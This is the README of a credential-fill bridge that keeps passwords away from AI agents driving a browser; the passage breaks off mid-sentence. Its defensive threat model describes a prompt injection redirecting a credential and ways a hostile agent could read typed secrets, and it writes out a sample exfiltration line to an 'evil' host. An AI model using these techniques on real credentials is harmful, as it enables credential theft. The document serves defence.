1Claw Browser Bridge
Governed credential fill for AI agents. The agent drives the browser; it never sees the password.
Status: v0.1, published — 1clawAI/browser-bridge, Apache-2.0, on npm as
@1claw/browser-bridge.Built: the
VaultBackendtrait,SecretHandle, the saas driver, the CDP allowlist gate, the loopback checks, the Chromium pipe transport (spawnwith fds 3/4 under--remote-debugging-pipe), the proxy socket, and the MCP toolset, three backends, governed account registration, and governed credential capture — a fill in reverse, for the key a site issues you. 266 tests here, twenty of them against a launched Chromium, two of those driving real Puppeteer and Playwright, plus the vault half.The server side is implemented, end to end:
Route Who may call it What it does POST /v1/browser/devicesa human, behind a step-up re-auth pins the device key and mints the bb_credential, onceGET /v1/browser/devicesa human lists what is paired. Revoked devices stay listed — "was this machine ever paired" is the question asked after a laptop goes missing DELETE /v1/browser/devices/{id}a human revokes a device. This is what makes a leaked bb_stop workingPOST /v1/browser/credentialsa human, behind a step-up re-auth defines a binding: which secret, and into which hosts POST /v1/agents/{id}/browser/sessionsthe human's token + bb_opens a session, returns a bs_tokenPOST /v1/agents/{id}/browser/fillsthe agent's JWT + bb_+bs_checks tab, frame and form-action origins against the binding, applies the velocity cap, records a single-use grant POST /v1/agents/{id}/browser/fills/consumethe human's token + bb_+bs_, and not an agentspends the grant and returns the credential The split on the two fill rows is the invariant in the routing table: the agent asks which binding, and is refused when it tries to collect the answer.
A fill request must also carry
form_path,field_names,redirect_chainandcurrent_generation. They were once optional and defaulted server-side, which turned three of the policy's own checks off — the redirect chain was always empty so its check never ran,current_generationdefaulted togenerationand was compared against itself, andform_pathdefaulted to"", which matches no fingerprint and denied every binding carrying one. Sendcurrent_generationas the generation you observe now; the same value asgenerationmakes the staleness check compare a value to itself.The bar for shipping is the adversarial suite green on every backend that ships. Three do — hosted, local file, and in-memory — and it is.
That suite is
adversarial.test.ts: it drivesstartBridge, the entry point a real deployment uses, and plays the agent as hostile rather than careless. Each of its tests is checked by breaking the control it covers and confirming it goes red, because a green suite is evidence about the tests as much as the code. In August 2026 the per-file suites passed 121/121 while three controls did nothing: the fill window never fired (commands were matched onparams.targetId, which CDP does not use for the methods that read a form field), every client received every other client's events, and a listener installed before a fill could read the credential typed during it. Every component was individually correct; all three bugs were in the seams.A fourth of the same shape was found writing the suite and is fixed here: the TOCTOU generation was bumped under a CDP session id and read under a target id, so the two counters never met and a grant survived the navigation it existed to be invalidated by.
Install
npm install -g @1claw/browser-bridge
Or from source — the demo runs with no 1Claw account:
pnpm install && pnpm build
node packages/browser-bridge/examples/demo.mjs
Where this sits
It is not an alternative to Playwright, Puppeteer, browser-use, Stagehand or Anthropic's Computer Use. Those answer how does the agent drive. This answers how does a credential get used without the agent holding it, which they leave to you.
- Computer Use has the model issue keystrokes. A password typed that way is an action the model chose, and so is in its context.
- browser-use types from a value your code supplied. Its
sensitive_datakeeps that value out of the prompt by substituting placeholders — the agent process still holds it, and a prompt injection that redirects the page can still get it submitted somewhere else. - This keeps the value in a separate process the agent cannot read from. The agent asks which binding; it cannot choose the page, cannot read the field, and cannot collect the value.
browser-use connects too — verified, not assumed. Current browser-use
releases have their own CDP client rather than sitting on Playwright, so this
took an actual test rather than inheriting Playwright's proof: point
BrowserProfile(cdp_url=...) at the URL the bridge prints, and browser-use's
connect() skips its usual HTTP /json/version discovery whenever the URL
already starts with ws, going straight to the WebSocket the same way
browserWSEndpoint/connectOverCDP do. examples/browser-use/ drives the
same login-fill proof as register-login-act.mjs, but with browser-use as the
agent. There is a test that drives stock puppeteer-core and
playwright-core through the gate against a real Chromium on every commit.
How fast
A full lifecycle against a live third-party site — create the account, sign in, capture the API key the site issues, and make a real request with it. No human at any step.
| Stage | Time | What happens |
|---|---|---|
| Provision — register + store password | 2.13s | The bridge signs up, generates the password and stores it |
| Sign in — username + password + submit | 1.14s | The bridge logs in; the agent never sees the password |
| Capture — read + store the API key | 0.80s | The bridge reads the key in a window the agent never lands on |
| Use — request with the key injected | 0.37s | The key is injected; the agent passes only a city name |
| End to end | 4.43s |
Most of that is opening a fresh page for each credential operation. That cost is also the control: a listener the agent installed earlier has nothing to observe, because the typing does not happen on a page the agent has ever scripted.
The invariant
No backend can return a secret through a tool result. consumeFill()
yields a SecretHandle — zeroised on disposal, and hostile to every path a
string would take out of the process:
| Path | Behaviour |
|---|---|
JSON.stringify |
throws — this is the MCP result path, so a handle reaching it is a broken control, not a formatting problem |
String(), `${h}`, .toString() |
redacted |
util.inspect / console.log |
redacted |
Object.keys / spread |
empty — the bytes are a true private field |
after dispose() |
buffer overwritten with zeros; all reads throw |
JavaScript has no destructors, so "zeroise on drop" is explicit: use using
(Symbol.dispose) or handle.use(fn), which disposes even when fn throws —
the failure path being exactly where a live secret tends to get left behind.
Architecture
The security rules live in the core and behave identically on every backend: origin and frame checks, TOCTOU generation binding, the CDP fill window, buffer zeroing, velocity limiting.
Drivers own four things and no others: where secrets live, who evaluates policy, where audit goes, and which capabilities exist.
That split is what makes the invariant reviewable once instead of once per
driver — and it is enforced, not merely intended:
core-has-no-driver-conditionals.test.ts fails the build if the core ever
names a driver in code.
packages/protocol wire types shared with the (closed) vault handlers
packages/browser-bridge
secret-handle.ts the invariant, as a class
vault-backend.ts the trait every driver implements + capability→tool map
cdp-policy.ts what an agent's CDP connection may do
cdp-proxy.ts the only route from a framework to Chromium
cdp-transport.ts the bridge's own connection, behind an interface
pipe-transport.ts CDP over --remote-debugging-pipe (never a port)
pipe-codec.ts NUL-delimited framing, buffered across chunks
proxy-server.ts the socket a framework points cdp_url at
mcp-tools.ts the status-only tool surface an agent calls
fill-engine.ts where every other control is cashed in
loopback.ts who may reach the local listeners
drivers/saas.ts 1Claw-hosted backend
CDP ownership
The bridge is the only process attached to Chromium; frameworks reach it
through a gate. If an agent keeps its own CDP connection to the same browser
the bridge types into, the invariant fails in one step — after a fill it reads
input.value, the a11y tree, a screenshot, or the Network log of the POST.
Filtering responses does not fix that, which is why this gates commands and
events rather than redacting: btoa(input.value) and
fetch('https://evil/?'+v) never return the value to the agent at all.
It is an allowlist. CDP has ~50 domains and gains members every Chromium release; a denylist is stale the day it is written, and its failure mode is silent exposure. During a fill the whole target is blocked, not just the field, and push events on it are dropped rather than queued — replaying them afterwards would hand over exactly what suppression prevented.
Each client sees only its own pages, on commands as well as events. Every
client gets its own Chromium BrowserContext, and every command naming a
target or a session is checked against what that client owns: getTargets is
narrowed to the caller's own pages, and attachToTarget on someone else's is
refused even when the id is known. Without that check the isolation is
decorative — one agent lists another's targets, attaches, and runs
Runtime.evaluate or Network.getCookies against a page it was never granted,
which is the same as being logged in as that user. A test drives that exact
sequence through two sockets on one real Chromium and requires it to fail.
How it fits together
Four parts, and it is worth being clear which does what:
your agent ──CDP──▶ bridge ──▶ Chromium
(framework) │ ▲ (the page)
│ └── types the credential here
▼
backend
(where the secret lives)
- Your agent connects to the bridge as if it were Chromium, and drives the
browser normally. It also calls
request_fillwhen it needs a credential. - The bridge owns the browser. Every CDP command from the agent crosses an allowlist; nothing else is attached. When a fill is authorised it opens a separate page the agent has never scripted, navigates to the binding's own login URL, types there, and closes it.
- The backend decides whether a fill may happen and holds the secret. Three ship; they differ only in where secrets live.
- Chromium is launched by the bridge over a pipe — no debugging port, which would be reachable by the very pages being driven.
The agent receives {"status":"filled"}. Not the password. There is no tool
that returns one.
Pick a backend
| Backend | Secrets live | Needs an account | Use it for |
|---|---|---|---|
MockVaultDriver |
in memory | no | trying it out, tests |
LocalVaultDriver |
an encrypted file on your machine | no | your own credentials |
SaasDriver |
the 1Claw vault | yes | teams, audit, policy, HITL |
All three enforce the same rules. A backend can refuse a fill; none can widen what is allowed, because the origin, frame, TOCTOU and CDP checks live in the core and run identically whichever you choose.
Try it in one command
No account, no config, no network:
pnpm install && pnpm build
node packages/browser-bridge/examples/demo.mjs
It serves a login form, launches Chromium, asks for a fill, and prints exactly what the agent received so you can check the password is not in it.
Your own credentials, no account
The community backend keeps secrets in an AES-256-GCM file, keyed by scrypt from a passphrase you hold. Nothing leaves your machine.
export ONECLAW_BRIDGE_VAULT_PASSPHRASE='something long'
1claw-vault init ~/.1claw/vault.json
# The secret comes from stdin, never from an argument — argv is world-readable
# in `ps`, and would land in your shell history too.
printf '%s' 'the-password' | 1claw-vault add ~/.1claw/vault.json \
--id acme \
--url https://app.example.com/login \
--hosts app.example.com
1claw-vault list ~/.1claw/vault.json # ids and rules; never a secret
Then start the bridge against it:
1claw-browser-bridge --vault ~/.1claw/vault.json --chrome /path/to/chrome
About --hosts. A bare entry matches only itself. .example.com — with the
leading dot — matches example.com and any subdomain. * is refused, because
the matcher has no wildcard: a * entry would be stored, match nothing, and
leave you believing a host was allowed.
About the passphrase. It is the only thing protecting the file, so scrypt is tuned to make each guess expensive (N=2¹⁷, ~128 MB). The parameters are stored in the file and authenticated, so nobody can edit them down to something cheap and still decrypt. There is deliberately no command that prints a secret back out.
Debug mode: step-by-step trace and screenshots
A fill, registration or capture that does not work the way you expect is hard to debug from the outside — the only thing that crosses the MCP boundary is a status. Point the bridge at a directory and it writes a record of what it actually did:
1claw-browser-bridge --vault ~/.1claw/vault.json --chrome /path/to/chrome \
--debug ~/.1claw/debug
# or: export ONECLAW_BRIDGE_DEBUG=~/.1claw/debug
Each run gets its own timestamped subdirectory: trace.jsonl, one line per
step (navigate, type_username, type_secret, submit, settle, and so
on — see TraceEvent in src/trace.ts), plus a numbered PNG for every step
the engine screenshots.
The screenshots are the point: navigate and settle capture what the page
actually looked like, which is usually the whole answer when a selector never
matched or a success check never fired. type_secret is traced like every
other step but never screenshotted, on principle — the password is on the
page at exactly that moment, so this step is recorded, never pictured. A
capture is stricter still: it screenshots only navigate, before the secret
exists, and nothing from read_value onward.
This is also the shape a future 1Claw dashboard would consume for
run playback: an ordered trace of named steps, each with a timestamp and a
handful of checkpoint screenshots, is enough to reconstruct a scrubbable
timeline of what an agent's fill actually did — without ever recording full
video, and without the recording itself becoming something that could leak a
credential. onStep is the extension point; --debug is the file-based
reference consumer of it.
Creating an account, without the agent knowing the password
The bridge can sign up for a site, generate the password itself, and store it —
with the agent never seeing it. That is begin_credential_registration, and it
is available only when a human has written a policy for the site.
1claw-vault allow-signup ~/.1claw/vault.json \
--id acme \
--signup https://acme.example.com/signup \
--login https://acme.example.com/login \
--username ada@example.com \
--hosts acme.example.com \
--user-sel '#email' --pass-sel '#password' --submit-sel 'button[type=submit]' \
--success-sel '.dashboard'
Then the agent calls the tool with one argument:
{ "site_id": "acme" } // → { "status": "registered", "bindingId": "acme" }
Why so little. A fill names a binding a human already made, so the host was someone's decision. A registration has no binding yet — so if the agent named the host, the agent would be choosing where a credential gets created. The host, signup URL, username and selectors therefore all come from the policy. The request type has nowhere to put an alternative.
The bridge generates the password, types it into a page the agent has never scripted, and only then stores it. The agent gets a binding id back, which it can use for later fills. It never receives the value at any point.
Real signup forms usually want more than username and password. A date of
birth, an address, a phone number — required fields that have nothing to do
with the credential itself. --field <selector>=<value> is repeatable and
covers exactly that:
1claw-vault allow-signup ~/.1claw/vault.json \
--id acme \
--signup https://acme.example.com/signup \
--login https://acme.example.com/login \
--username ada@example.com \
--hosts acme.example.com \
--user-sel '#email' --pass-sel '#password' --submit-sel 'button[type=submit]' \
--success-sel '.dashboard' \
--field '#mobile=555-0100' \
--field '#dob=1990-01-01'
Each field is typed the same way the username already is: plainly, in the
order given, by the bridge, in the same windowed page the password is typed
into. That is what keeps it out of the agent's context — the window, not
whether the value is treated as a secret. None of it is a rotating credential
that needs a SecretHandle's zeroise-on-drop, so it lives in the policy
alongside the username, not in the vault's secret storage. The whole vault
file is still sealed at rest (AES-256-GCM, scrypt from your passphrase)
regardless of which part of it a value sits in.
Committing is separate from typing, on purpose. A password stored that the
site never accepted produces a binding that will never work, and you find out
weeks later when a login fails. So the bridge waits for the success signal you
described — --success-sel, or the URL changing — and if it does not see one it
cancels rather than commits. {"status":"rejected","reason":"no_success_signal"}
means nothing was stored.
How this is tested. Five tests drive a real Chromium against a real signup form that enforces a password rule and says no when it is not met: one asserts the credential stored is byte-for-byte the one the site received, one that extra fields (a phone number, a date of birth) land in the real form fields the policy names, one that a rejected password stores nothing, one that an unrecognisable outcome stores nothing, and one that logs in afterwards with what was stored. Breaking the verdict check so it commits regardless turns two of them red; storing a freshly generated password instead of the typed one turns the other two red.
Five more go through startBridge and the MCP tool itself, because a path
exercised only in pieces is a path nobody has run — that is exactly how a
broken session handshake survived thirty passing production assertions. One of
them passes signup_url, username and password alongside site_id and
asserts the signup still happens where the policy says, with the policy's
username. Wiring the tool to honour the agent's url turns it red.
What it does not do yet. Email verification. If a site requires clicking a
link in an inbox, this will report no_success_signal and store nothing —
correctly, since the account does not exist yet. Whoever reads that email can
complete the signup, so handing it to the agent would undo the point; that needs
its own design rather than a quick ad
